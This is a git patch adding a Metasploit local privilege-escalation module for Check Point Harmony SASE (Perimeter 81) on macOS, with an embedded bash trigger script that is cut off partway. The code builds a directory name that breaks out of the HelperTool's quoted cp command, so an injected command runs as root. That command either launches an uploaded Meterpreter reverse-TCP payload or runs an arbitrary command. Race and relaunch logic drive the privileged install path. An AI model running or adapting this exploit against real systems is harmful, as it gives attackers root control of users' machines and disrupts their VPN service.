From e3b8c528784a5568c1f4683fe653a72f99336b6a Mon Sep 17 00:00:00 2001 From: Dhiraj Mishra Date: Thu, 3 Sep 2026 14:23:04 +0400 Subject: [PATCH 1/2] Checkpoint P81 LPE --- .../osx/local/harmony_sase_helpertool_lpe.rb | 894 ++++++++++++++++++ 1 file changed, 894 insertions(+) create mode 100644 modules/exploits/osx/local/harmony_sase_helpertool_lpe.rb diff --git a/modules/exploits/osx/local/harmony_sase_helpertool_lpe.rb b/modules/exploits/osx/local/harmony_sase_helpertool_lpe.rb new file mode 100644 index 0000000000000..236bfe9bc2a22 --- /dev/null +++ b/modules/exploits/osx/local/harmony_sase_helpertool_lpe.rb @@ -0,0 +1,894 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Post::OSX::System + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Check Point Harmony SASE (Perimeter 81) HelperTool Root Command Injection', + 'Description' => %q{ + Check Point Harmony SASE (formerly Perimeter 81) for macOS ships a privileged + SMJobBless HelperTool (com.perimeter81.osx.HelperTool). While installing its daemon, + the helper assembles a shell command and runs it as root through /bin/bash -c. That + command copies the daemon bundle out of the connecting client's application bundle, + using a path taken from the client's own NSBundle.mainBundle.bundlePath and inserted + inside single quotes without any escaping. + + A copy of the app made with ditto keeps a valid vendor signature, so it still satisfies + the helper's SMAuthorizedClients requirement. Placing that copy under a directory whose + name contains a single quote ends the quoted path early and injects an arbitrary command + that runs as root; a trailing comment character hides the remainder of the helper's command. + + This local exploit uploads a parameterized trigger derived from the public PoC. The + trigger stages the vendor-signed copy at the injection path and drives one of two + install paths: the silent-update relaunch flag (NSUserDefaults shouldRelaunchDaemon, + default) or the racy migration branch. The SESSION action injects a command that runs + an uploaded Meterpreter Mach-O as root; the EXEC action injects an arbitrary command + (COMMAND) and returns its output. The trigger relaunches the pristine app afterward to + reinstall the daemon it may have deleted. + + WARNING: this is NOT crash-safe for the VPN service. Driving the install path force-quits the + app and deletes/reinstalls the com.perimeter81d daemon, which drops any active Harmony SASE + VPN connection until it reconnects. The trigger attempts to repair the daemon afterward. + + Confirmed against Harmony SASE 12.9.0 (build 11237), TeamID 924635PD62. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Dhiraj Mishra (@RandomDhiraj)' # Discovery, original PoC (harmony_sase_lpe_exploit.sh), and Metasploit module + ], + 'References' => [ + ['URL', 'https://somelab.ai/harmony-sase-helpertool-lpe'], + ['URL', 'https://support.perimeter81.com/docs/macos-agent-release-notes'] + ], + 'Platform' => 'osx', + 'Arch' => [ARCH_X64, ARCH_AARCH64], + 'SessionTypes' => %w[meterpreter shell], + 'DefaultOptions' => { 'WfsDelay' => 90 }, + 'Targets' => [ + [ 'Apple Silicon (ARM64)', { + 'Arch' => ARCH_AARCH64, + 'DefaultOptions' => { 'PAYLOAD' => 'osx/aarch64/meterpreter_reverse_tcp' } + } ], + [ 'Intel (x64)', { + 'Arch' => ARCH_X64, + 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp' } + } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-01-01', + 'Notes' => { + # NOT crash-safe: the privileged install path deletes/reinstalls the com.perimeter81d + # daemon and force-quits the app, dropping any active Harmony SASE VPN connection. + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES] + }, + 'Actions' => [ + [ 'SESSION', { 'Description' => 'Run the selected payload as root (returns a root session)' } ], + [ 'EXEC', { 'Description' => 'Run COMMAND as root and return its output (no session)' } ] + ], + 'DefaultAction' => 'SESSION', + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + stdapi_sys_process_execute + stdapi_fs_file + ] + } + } + ) + ) + + register_options([ + OptString.new('TARGET_APP', [ true, 'Path to the installed Harmony SASE app bundle', '/Applications/Harmony SASE.app' ]), + OptEnum.new('TRIGGER_MODE', [ true, 'Which install path to drive', 'relaunch_flag', %w[relaunch_flag race] ]), + OptString.new('COMMAND', [ false, 'Command to run as root (EXEC action only)', 'whoami' ]) + ]) + + register_advanced_options([ + OptString.new('WritableDir', [ true, 'Writable staging directory (must be under /tmp or TMPDIR)', '/tmp' ]), + OptInt.new('MAX_ATTEMPTS', [ true, 'Launch attempts before giving up (race mode is one chance each)', 80 ]), + OptBool.new('STRICT_VERSION', [ true, 'Require the exact confirmed version/build (12.9.0/11237)', false ]), + OptInt.new('TriggerTimeout', [ true, 'Seconds to allow the on-host trigger to run', 300 ]) + ]) + end + + HELPER_PATH = '/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool'.freeze + EXPECTED_BUNDLE_ID = 'com.safervpn.osx.smb'.freeze + EXPECTED_VERSION = '12.9.0'.freeze + EXPECTED_BUILD = '11237'.freeze + + def check + app = datastore['TARGET_APP'] + return CheckCode::Safe("App bundle not found at #{app}") unless directory?(app) + return CheckCode::Safe("HelperTool not present at #{HELPER_PATH}") unless file?(HELPER_PATH) + + info_plist = "#{app}/Contents/Info.plist" + bid = plist_value(info_plist, 'CFBundleIdentifier') + ver, build = app_version + vprint_status("Bundle #{bid.inspect} version #{ver.inspect} build #{build.inspect}") + + unless bid == EXPECTED_BUNDLE_ID + return CheckCode::Detected("Unexpected bundle identifier #{bid.inspect}") + end + + hits = cmd_exec("/usr/bin/grep -aFc 'Copy daemon command:' '#{HELPER_PATH}' 2>/dev/null").to_s.strip + if hits == '0' || hits.empty? + return CheckCode::Detected('HelperTool present but missing the vulnerable copyDaemon shell string') + end + + if ver == EXPECTED_VERSION && build == EXPECTED_BUILD + CheckCode::Appears("Harmony SASE #{ver}/#{build} with vulnerable HelperTool") + else + CheckCode::Detected("Harmony SASE #{ver}/#{build}: vulnerable helper string present (not the confirmed 12.9.0/11237)") + end + end + + def plist_value(plist, key) + cmd_exec("/usr/libexec/PlistBuddy -c 'Print :#{key}' '#{plist}' 2>/dev/null").to_s.strip + end + + # [version, build] of the installed app bundle, or ['', ''] if unreadable. + def app_version + info_plist = "#{datastore['TARGET_APP']}/Contents/Info.plist" + [plist_value(info_plist, 'CFBundleShortVersionString'), plist_value(info_plist, 'CFBundleVersion')] + end + + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') + end + + base = datastore['WritableDir'].chomp('/') + fail_with(Failure::BadConfig, "#{base} is not writable") unless writable?(base) + fail_with(Failure::NotVulnerable, "#{datastore['TARGET_APP']} not found on target") unless directory?(datastore['TARGET_APP']) + + # Hard version gate. AutoCheck only warns (does not stop) on a Detected result, so refuse + # to run against anything other than the confirmed-vulnerable build unless the operator + # explicitly overrides with ForceExploit. + ver, build = app_version + unless ver == EXPECTED_VERSION && build == EXPECTED_BUILD + msg = "Installed Harmony SASE #{ver}/#{build} is not the confirmed-vulnerable #{EXPECTED_VERSION}/#{EXPECTED_BUILD}." + fail_with(Failure::NotVulnerable, "#{msg} Set ForceExploit to try anyway.") unless datastore['ForceExploit'] + print_warning("#{msg} ForceExploit is set; trying anyway.") + end + + # Independent random tokens with distinct prefixes: the trigger pkills processes whose + # argv contains WORK_BASE, so the payload path must NOT share WORK_BASE as a substring. + work_base = "#{base}/.hsw_#{rand_text_alphanumeric(10)}" + sentinel = "#{base}/.hso_#{rand_text_alphanumeric(10)}" + script_path = "#{base}/.hss_#{rand_text_alphanumeric(10)}.sh" + inject_file = "#{base}/.hsi_#{rand_text_alphanumeric(10)}" + artifacts = [work_base, sentinel, script_path, inject_file] + + if action.name == 'EXEC' + command = datastore['COMMAND'].to_s + fail_with(Failure::BadConfig, 'COMMAND is empty') if command.strip.empty? + # Capture the command's output into the sentinel; its existence signals success. + inject_cmd = "{ #{command} ; } > '#{sentinel}' 2>&1; /bin/chmod 0644 '#{sentinel}'" + print_status("EXEC action: running as root -> #{command}") + else + payload_bin = "#{base}/.hsp_#{rand_text_alphanumeric(10)}" + artifacts << payload_bin + print_status("Generating #{target.name} Mach-O payload (#{datastore['PAYLOAD']})") + upload_and_chmodx(payload_bin, generate_payload_exe) + # Launch the payload as root (backgrounded, detached from the helper), then drop the + # sentinel so the on-host trigger knows the injection landed and can stop. + inject_cmd = "'#{payload_bin}' >/dev/null 2>&1 & /usr/bin/touch '#{sentinel}'" + print_status('SESSION action: the root payload will be launched via the injection') + end + + # The injected command travels to the target as a file so no quoting of it is required + # as it passes through cmd_exec into the trigger's environment. + write_file(inject_file, inject_cmd) + write_file(script_path, TRIGGER_SCRIPT) + + env = { + 'MODE' => 'exploit', + 'TRIGGER_MODE' => datastore['TRIGGER_MODE'], + 'MAX_ATTEMPTS' => datastore['MAX_ATTEMPTS'].to_s, + 'STRICT_VERSION' => datastore['STRICT_VERSION'] ? '1' : '0', + 'REQUIRE_VALID_SIGNATURE' => '0', + 'REPAIR_AFTER' => '1', + 'TARGET_APP' => datastore['TARGET_APP'], + 'HELPER' => HELPER_PATH, + 'WORK_BASE' => work_base, + 'PROOF_PATH' => sentinel, + 'INJECT_CMD_FILE' => inject_file, + 'DEBUG' => datastore['VERBOSE'] ? '1' : '0' + } + prefix = env.map { |k, v| "#{k}=#{shq(v)}" }.join(' ') + run_cmd = "#{prefix} /bin/bash '#{script_path}'" + + print_status("Driving HelperTool install path (TRIGGER_MODE=#{datastore['TRIGGER_MODE']}), up to #{datastore['TriggerTimeout']}s") + output = cmd_exec(run_cmd, nil, datastore['TriggerTimeout']).to_s + # Full trigger log only when the operator asks for it (set VERBOSE true). + output.each_line { |line| vprint_status("trigger: #{line.rstrip}") } + + # Ground truth for success: the helper ran our command as root iff copyDaemon fired. + # The sentinel file is only a stop-signal for the on-host trigger and can be deleted by + # the incoming root session's cleanup before we read it, so we do NOT rely on it alone. + copy_hits = output[/copyDaemon invocations during run:\s*(\d+)/, 1].to_i + copy_hits = 1 if output.include?('executed the injected command as root') + rejected = output.include?('has not been validated') || output.include?('rejected the relocated client') + + begin + if action.name == 'EXEC' + if file?(sentinel) + result = read_file(sentinel).to_s + print_good('Command executed as root. Output:') + print_line(result.empty? ? '(command produced no output)' : result) + elsif copy_hits > 0 + print_warning('Injection executed as root but the output file was not captured (timing). Re-run if you need the output.') + else + print_error('The privileged install path did not execute the injection this run.') + report_trigger_failure(output, rejected) + end + elsif copy_hits > 0 + print_good('HelperTool executed the injected command as root; the root payload was launched (watch for a new session above).') + else + print_warning('The privileged install path did not execute the injection this run; no root payload was launched.') + report_trigger_failure(output, rejected) + end + ensure + # Clean up AFTER inspecting results, and from here (not FileDropper#on_new_session): + # the incoming root session would otherwise race us and delete the sentinel and + # working files while the on-host trigger is still running. Best-effort; a root-owned + # sentinel in a sticky /tmp may survive removal by the unprivileged session. + artifacts.each { |p| cmd_exec("/bin/rm -rf '#{p}'") } + end + end + + # Single-quote a value for safe inclusion in the assembled shell command line. + def shq(value) + "'" + value.to_s.gsub("'", %q('"'"')) + "'" + end + + # Print only the trigger's own summary lines (counters, rejection, branch hints) instead + # of dumping its entire stderr. Set VERBOSE true for the full per-line log. + def report_trigger_failure(output, rejected) + if rejected + print_warning('HelperTool rejected the relocated client (signature/XPC). Restore/reinstall the pristine vendor app.') + end + output.each_line do |line| + text = line.rstrip + print_status(" #{text.sub(/^\[[!*x]\]\s*/, '')}") if text =~ /during run:|Never hit the migration branch|read the flag as false|not readable/ + end + print_status('Hints: quit the pristine app first, try TRIGGER_MODE=race with a higher MAX_ATTEMPTS, or set VERBOSE true.') + end + + # The on-host trigger, uploaded and executed by exploit(). Derived verbatim from the + # public PoC (harmony_sase_lpe_exploit.sh) with the injected command made configurable + # via INJECT_CMD_FILE and success detection switched to a sentinel-file check. + TRIGGER_SCRIPT = <<'HARMONY_TRIGGER_EOF'.freeze +#!/usr/bin/env bash +set -euo pipefail + +# Parameterized trigger for the Harmony SASE HelperTool root command-injection LPE. +# +# This is the original PoC's trigger machinery (relaunch-flag + race loop) with the +# ONE hardcoded proof command replaced by a caller-supplied injected command. It is +# uploaded and driven by the Metasploit module +# exploit/osx/local/harmony_sase_helpertool_lpe +# but remains runnable standalone for lab validation. +# +# What the module changes vs. the original PoC: +# * INJECT_CMD / INJECT_CMD_FILE : the shell fragment executed as root. The module +# sets this to either "run my meterpreter Mach-O as root" (session) or +# "run COMMAND, capture output" (exec). Default keeps the original id-proof. +# * proof_ok() : success is now "the sentinel file (PROOF_PATH) exists", because the +# injected command is no longer guaranteed to write `uid=0(root)`. For the exec +# action PROOF_PATH IS the captured-output file; for the session action the +# injected command touch(1)es it after backgrounding the payload. +# +# Everything else (target validation, signed-copy staging, the two triggers, and the +# daemon repair) is unchanged from harmony_sase_lpe_exploit.sh. + +RUN_ID="${RUN_ID:-$(/bin/date +%Y%m%d_%H%M%S)_$$}" +TMP_ROOT="${TMPDIR:-/tmp}" +TMP_ROOT="${TMP_ROOT%/}" + +TARGET_APP="${TARGET_APP:-/Applications/Harmony SASE.app}" +HELPER="${HELPER:-/Library/PrivilegedHelperTools/com.perimeter81.osx.HelperTool}" +DAEMON_LABEL="${DAEMON_LABEL:-com.perimeter81d}" +EXPECTED_BUNDLE_ID="${EXPECTED_BUNDLE_ID:-com.safervpn.osx.smb}" +EXPECTED_TEAM_ID="${EXPECTED_TEAM_ID:-924635PD62}" +EXPECTED_VERSION="${EXPECTED_VERSION:-12.9.0}" +EXPECTED_BUILD="${EXPECTED_BUILD:-11237}" +USER_DEFAULTS_DOMAIN="${USER_DEFAULTS_DOMAIN:-$EXPECTED_BUNDLE_ID}" +RELAUNCH_DEFAULTS_KEY="${RELAUNCH_DEFAULTS_KEY:-shouldRelaunchDaemon}" +STRICT_VERSION="${STRICT_VERSION:-1}" +REQUIRE_VALID_SIGNATURE="${REQUIRE_VALID_SIGNATURE:-0}" +MODE="${MODE:-probe}" # probe | exploit +TRIGGER_MODE="${TRIGGER_MODE:-relaunch_flag}" # relaunch_flag | race +WORK_BASE="${WORK_BASE:-${TMP_ROOT}/harmony_sase_helpertool_lpe}" +PROOF_DIR="${PROOF_DIR:-${WORK_BASE}/proof}" +PROOF_PATH="${PROOF_PATH:-${PROOF_DIR}/id.txt}" +REBUILD_COPY="${REBUILD_COPY:-1}" + +# Injected root command. The directory name that carries it becomes, on disk, a path +# whose full string is spliced (unescaped, inside single quotes) into the helper's +# cp -R '/Contents/...' +# so a leading `'` closes the quote, INJECT_CMD runs as root, and a trailing `; #` +# comments out the remainder of the helper's command. +INJECT_CMD_FILE="${INJECT_CMD_FILE:-}" +INJECT_CMD="${INJECT_CMD:-/usr/bin/id > ${PROOF_PATH}; /bin/chmod 0644 ${PROOF_PATH}}" + +# Race-loop tuning. +MAX_ATTEMPTS="${MAX_ATTEMPTS:-80}" # launches before giving up (each is one race chance) +ROUND_WAIT="${ROUND_WAIT:-6}" # maximum seconds to wait for one startup result +POLL_INTERVAL="${POLL_INTERVAL:-0.25}" # log/proof polling interval +POST_BRANCH_WAIT="${POST_BRANCH_WAIT:-4}" # wait for helper/proof after migration branch +REPAIR_WAIT="${REPAIR_WAIT:-20}" # seconds to wait for launchd repair +REPAIR_AFTER="${REPAIR_AFTER:-1}" # relaunch pristine app afterward to reinstall daemon +STOP_RUNNING_APP="${STOP_RUNNING_APP:-1}" +DEBUG="${DEBUG:-${VERBOSE:-0}}" +EXPLOIT_ACTIVE=0 +REPAIR_DONE=0 +DEFAULTS_TOUCHED=0 +DEFAULTS_KEY_EXISTED=0 +DEFAULTS_OLD_VALUE="" + +DAEMON_LOG="${DAEMON_LOG:-/var/log/HarmonySASE/DaemonInstaller.log}" +GUI_LOG="${GUI_LOG:-$HOME/Library/Logs/HarmonySASE.log}" + +say() { printf '%s\n' "$*" >&2; } +log() { say "[*] $*"; } +ok() { say "[+] $*"; } +warn() { say "[!] $*"; } +debug() { + [[ "$DEBUG" == "1" ]] || return 0 + say "[D] $*" +} +die() { say "[x] $*"; say "bye bye!"; exit 1; } + +is_positive_number() { + [[ "$1" =~ ^[0-9]+([.][0-9]+)?$ ]] && /usr/bin/awk -v n="$1" 'BEGIN { exit !(n > 0) }' +} + +is_positive_integer() { + [[ "$1" =~ ^[1-9][0-9]*$ ]] +} + +verify_signature() { + local path="$1" output + output="$(/usr/bin/codesign --verify --strict --verbose=4 "$path" 2>&1)" && return 0 + warn "Code-signature verification failed for: $path" + [[ -n "$output" ]] && warn "$output" + return 1 +} + +plist_value() { + /usr/libexec/PlistBuddy -c "Print :$1" "$TARGET_APP/Contents/Info.plist" 2>/dev/null || true +} + +team_id() { + /usr/bin/codesign -d --verbose=4 "$TARGET_APP" 2>&1 | + /usr/bin/awk -F= '/^TeamIdentifier=/{print $2; exit}' +} + +helper_contains() { /usr/bin/grep -aFq "$1" "$HELPER"; } + +installed_app_processes() { + /usr/bin/pgrep -fl "$TARGET_APP/Contents/MacOS/Harmony SASE" 2>/dev/null || true +} + +relocated_app_processes() { + /usr/bin/pgrep -fl "$WORK_BASE" 2>/dev/null || true +} + +request_pristine_exit() { + "$TARGET_APP/Contents/MacOS/Harmony SASE" exit >/dev/null 2>&1 & + local exit_pid=$! + disown "$exit_pid" 2>/dev/null || true +} + +ensure_installed_app_not_running() { + local running i + running="$(installed_app_processes)" + [[ -z "$running" ]] && return 0 + + warn "Pristine Harmony SASE is running; it self-heals the daemon and starves the race." + if [[ "$STOP_RUNNING_APP" != "1" ]]; then + die "Quit Harmony SASE, or set STOP_RUNNING_APP=1 to ask it to exit." + fi + log "Asking pristine Harmony SASE to exit." + request_pristine_exit + for ((i = 0; i < 15; i++)); do + [[ -z "$(installed_app_processes)" ]] && return 0 + /bin/sleep 1 + done + die "Pristine Harmony SASE still running; quit it manually before exploit mode." +} + +kill_relocated() { + /usr/bin/pkill -TERM -f "$WORK_BASE" >/dev/null 2>&1 || true + local i + for ((i = 0; i < 20; i++)); do + [[ -z "$(relocated_app_processes)" ]] && return 0 + /bin/sleep 0.1 + done + /usr/bin/pkill -KILL -f "$WORK_BASE" >/dev/null 2>&1 || true +} + +log_count() { + local n + n="$(/usr/bin/grep -acF "$2" "$1" 2>/dev/null)" || true + n="${n%%$'\n'*}" + case "$n" in + ''|*[!0-9]*) n=0 ;; + esac + printf '%s' "$n" +} + +debug_recent_logs() { + [[ "$DEBUG" == "1" ]] || return 0 + + say "[*] Debug log excerpt:" + if [[ -r "$GUI_LOG" ]]; then + log "Recent GUI installer decisions:" + /usr/bin/grep -aE \ + 'daemonVersionInstalled|Failed to retrieve job dictionary|Install daemon with migration|Reinstall daemon without migration|Should relaunch daemon|Daemon is up to date' \ + "$GUI_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true + else + warn "GUI log is not readable: $GUI_LOG" + fi + + if [[ -r "$DAEMON_LOG" ]]; then + log "Recent HelperTool installer decisions:" + /usr/bin/grep -aE \ + 'installPerimeter81dDaemon|copyDaemon started|Copy daemon command|has not been validated|App bundle Code Signature VERIFIED' \ + "$DAEMON_LOG" 2>/dev/null | /usr/bin/tail -n 16 >&2 || true + else + warn "HelperTool log is not readable: $DAEMON_LOG" + fi +} + +validate_environment() { + [[ "$(id -u)" != "0" ]] || die "Run as a normal low-privileged user, not root." + [[ -d "$TARGET_APP" ]] || die "Harmony SASE app not found at $TARGET_APP" + [[ -x "$TARGET_APP/Contents/MacOS/Harmony SASE" ]] || die "Harmony SASE executable missing." + [[ -x "$HELPER" ]] || die "HelperTool not found or not executable at $HELPER" + + case "$PROOF_PATH" in + /tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;; + *) die "For safety, PROOF_PATH must be under /tmp or TMPDIR." ;; + esac + case "$PROOF_PATH" in + *[!A-Za-z0-9_./-]*) die "PROOF_PATH contains unsafe characters." ;; + *..*) die "PROOF_PATH must not contain '..'." ;; + esac + + case "$WORK_BASE" in + /tmp/*|/private/tmp/*|"${TMP_ROOT}"/*) ;; + *) die "For safety, WORK_BASE must be under /tmp or TMPDIR." ;; + esac + [[ "$WORK_BASE" != *..* ]] || die "WORK_BASE must not contain '..'." + case "$WORK_BASE" in + *[!A-Za-z0-9_./-]*) die "WORK_BASE contains unsafe characters." ;; + esac + is_positive_integer "$MAX_ATTEMPTS" || die "MAX_ATTEMPTS must be a positive integer." + is_positive_number "$ROUND_WAIT" || die "ROUND_WAIT must be a positive number." + is_positive_number "$POLL_INTERVAL" || die "POLL_INTERVAL must be a positive number." + is_positive_number "$POST_BRANCH_WAIT" || die "POST_BRANCH_WAIT must be a positive number." + is_positive_integer "$REPAIR_WAIT" || die "REPAIR_WAIT must be a positive integer." + [[ "$REBUILD_COPY" == "0" || "$REBUILD_COPY" == "1" ]] || + die "REBUILD_COPY must be 0 or 1." + [[ "$REPAIR_AFTER" == "0" || "$REPAIR_AFTER" == "1" ]] || + die "REPAIR_AFTER must be 0 or 1." + [[ "$STOP_RUNNING_APP" == "0" || "$STOP_RUNNING_APP" == "1" ]] || + die "STOP_RUNNING_APP must be 0 or 1." + [[ "$DEBUG" == "0" || "$DEBUG" == "1" ]] || + die "DEBUG must be 0 or 1." + [[ "$REQUIRE_VALID_SIGNATURE" == "0" || "$REQUIRE_VALID_SIGNATURE" == "1" ]] || + die "REQUIRE_VALID_SIGNATURE must be 0 or 1." + [[ "$MODE" == "probe" || "$MODE" == "exploit" ]] || + die "MODE must be probe or exploit." + [[ "$TRIGGER_MODE" == "relaunch_flag" || "$TRIGGER_MODE" == "race" ]] || + die "TRIGGER_MODE must be relaunch_flag or race." + + local bundle_id version build team + bundle_id="$(plist_value CFBundleIdentifier)" + version="$(plist_value CFBundleShortVersionString)" + build="$(plist_value CFBundleVersion)" + team="$(team_id)" + + say " Bundle: ${bundle_id:-unknown}" + say " Version: ${version:-unknown}" + say " Build: ${build:-unknown}" + say " Team: ${team:-unknown}" + + [[ "$bundle_id" == "$EXPECTED_BUNDLE_ID" ]] || die "Unexpected bundle identifier." + [[ "$team" == "$EXPECTED_TEAM_ID" ]] || die "Unexpected TeamIdentifier." + if [[ "$STRICT_VERSION" == "1" ]]; then + [[ "$version" == "$EXPECTED_VERSION" ]] || die "Version mismatch; set STRICT_VERSION=0 to override." + [[ "$build" == "$EXPECTED_BUILD" ]] || die "Build mismatch; set STRICT_VERSION=0 to override." + fi + + if ! verify_signature "$TARGET_APP"; then + [[ "$REQUIRE_VALID_SIGNATURE" == "1" ]] || + warn "Continuing because REQUIRE_VALID_SIGNATURE=0; the HelperTool may reject this client." + [[ "$REQUIRE_VALID_SIGNATURE" != "1" ]] || + die "Restore/reinstall the pristine vendor app, then rerun." + fi + + helper_contains "Copy daemon command:" || die "HelperTool missing copyDaemon logging string." + helper_contains "/bin/bash" || die "HelperTool missing shell executor string." + helper_contains "installPerimeter81dDaemonWithAppBundlePath:completionHandler:" || + die "HelperTool missing expected installer XPC method." +} + +prepare_signed_copy() { + local payload_parent copied_app + /bin/mkdir -p "$WORK_BASE" + # Directory name IS the payload. A single quote closes copyDaemon's `cp -R '`; + # ${INJECT_CMD} then runs as root and the trailing `#` comments out the real copy. + payload_parent="${WORK_BASE}/poc'; ${INJECT_CMD}; #" + copied_app="${payload_parent}/Harmony SASE.app" + + if [[ "$REBUILD_COPY" == "1" && -e "$payload_parent" ]]; then + log "Removing previous payload directory to avoid stale/partial copies." + /bin/rm -rf "$payload_parent" + fi + /bin/mkdir -p "$payload_parent" + + if [[ ! -d "$copied_app" ]]; then + log "Copying signed app into injection path." + /usr/bin/ditto "$TARGET_APP" "$copied_app" + else + log "Reusing existing copied app at injection path." + fi + + log "Checking relocated app signature." + if verify_signature "$copied_app"; then + log "Relocated app signature verification passed (SMAuthorizedClients will accept it)." + elif [[ "$REQUIRE_VALID_SIGNATURE" == "1" ]]; then + die "Relocated app signature verification failed; restore/reinstall the pristine app." + else + warn "Relocated app signature verification failed; continuing (REQUIRE_VALID_SIGNATURE=0)." + fi + [[ -x "$copied_app/Contents/MacOS/Harmony SASE" ]] || + die "Relocated app executable is missing; discard WORK_BASE and retry." + [[ -d "$copied_app/Contents/Library/LaunchServices/com.perimeter81d.app" ]] || + die "Relocated daemon bundle is missing; discard WORK_BASE and retry." + printf '%s\n' "$copied_app" +} + +prepare_proof_path() { + local proof_parent + proof_parent="$(/usr/bin/dirname "$PROOF_PATH")" + /bin/mkdir -p "$proof_parent" || die "Could not create proof directory: $proof_parent" + /bin/chmod 700 "$proof_parent" 2>/dev/null || true + + if [[ -e "$PROOF_PATH" || -L "$PROOF_PATH" ]]; then + if /bin/rm -f "$PROOF_PATH" 2>/dev/null; then + debug "Removed stale proof path: $PROOF_PATH" + else + die "Could not remove existing proof path. Choose a new PROOF_PATH or remove it as root: $PROOF_PATH" + fi + fi +} + +# Success = the sentinel/output file exists. The injected command creates it (touch for +# the session action, output redirection for the exec action). +proof_ok() { [[ -e "$PROOF_PATH" ]]; } + +save_relaunch_default() { + [[ "$DEFAULTS_TOUCHED" == "0" ]] || return 0 + if DEFAULTS_OLD_VALUE="$(/usr/bin/defaults read "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" 2>/dev/null)"; then + DEFAULTS_KEY_EXISTED=1 + else + DEFAULTS_KEY_EXISTED=0 + DEFAULTS_OLD_VALUE="" + fi +} + +enable_relaunch_trigger() { + save_relaunch_default + debug "Saved defaults state: existed=${DEFAULTS_KEY_EXISTED}, old_value=${DEFAULTS_OLD_VALUE:-}" + /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true + DEFAULTS_TOUCHED=1 + log "Enabled ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}=true for this run." +} + +restore_relaunch_trigger() { + [[ "$DEFAULTS_TOUCHED" == "1" ]] || return 0 + if [[ "$DEFAULTS_KEY_EXISTED" == "1" ]]; then + case "$DEFAULTS_OLD_VALUE" in + 1|true|TRUE|True|YES|Yes|yes) + /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool true + ;; + 0|false|FALSE|False|NO|No|no) + /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" -bool false + ;; + *) + /usr/bin/defaults write "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" "$DEFAULTS_OLD_VALUE" + ;; + esac + log "Restored ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY}." + else + /usr/bin/defaults delete "$USER_DEFAULTS_DOMAIN" "$RELAUNCH_DEFAULTS_KEY" >/dev/null 2>&1 || true + log "Removed temporary ${USER_DEFAULTS_DOMAIN}:${RELAUNCH_DEFAULTS_KEY} flag." + fi + DEFAULTS_TOUCHED=0 +} + +run_relaunch_flag_trigger() { + local bin="$1" + local elapsed validation_before validation_now copies_before copies_now relaunch_before relaunch_now + local flag_true_before flag_true_now flag_false_before flag_false_now + local total_wait + + validation_before="$(log_count "$DAEMON_LOG" 'has not been validated')" + copies_before="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')" + relaunch_before="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')" + flag_true_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')" + flag_false_before="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')" + + enable_relaunch_trigger + kill_relocated + log "Starting relocated app with silent-update relaunch trigger." + "$bin" >/dev/null 2>&1 & + disown 2>/dev/null || true + + total_wait="$(/usr/bin/awk -v a="$ROUND_WAIT" -v b="$POST_BRANCH_WAIT" 'BEGIN { printf "%.3f", a + b }')" + elapsed=0 + while /usr/bin/awk -v e="$elapsed" -v t="$total_wait" 'BEGIN { exit !(e < t) }'; do + if proof_ok; then + kill_relocated + log "Injection landed through silent-update relaunch trigger." + return 0 + fi + + validation_now="$(log_count "$DAEMON_LOG" 'has not been validated')" + if ((validation_now > validation_before)); then + kill_relocated + warn "HelperTool rejected the relocated client (code-signature/XPC validation)." + warn "Use a pristine vendor-signed app; inspect $DAEMON_LOG for the rejection." + debug_recent_logs + return 3 + fi + + relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')" + copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')" + if ((relaunch_now > relaunch_before || copies_now > copies_before)); then + /bin/sleep "$POST_BRANCH_WAIT" + if proof_ok; then + kill_relocated + log "Injection landed through silent-update relaunch trigger." + return 0 + fi + break + fi + + /bin/sleep "$POLL_INTERVAL" + elapsed="$(/usr/bin/awk -v e="$elapsed" -v p="$POLL_INTERVAL" 'BEGIN { printf "%.3f", e + p }')" + done + + kill_relocated + flag_true_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is true')" + flag_false_now="$(log_count "$GUI_LOG" 'Should relaunch daemon after update flag is false')" + relaunch_now="$(log_count "$GUI_LOG" 'Reinstall daemon without migration after silent update')" + copies_now="$(log_count "$DAEMON_LOG" 'copyDaemon started, appBundleUrl=')" + + warn "No proof through silent-update relaunch trigger." + warn " relaunch-flag true logs during run: $((flag_true_now - flag_true_before))" + warn " relaunch-flag false logs during run: $((flag_false_now - flag_false_before))" + warn " reinstall-without-migration hits during run: $((relaunch_now - relaunch_before))" + warn " copyDaemon invocations during run: $((copies_now - copies_before))" + if ((flag_false_now > flag_false_before && flag_true_now == flag_true_before)); then + warn "The app read the flag as false; cfprefsd may have cached the old value. Retry once." + fi + debug_recent_logs + return 1 +} + 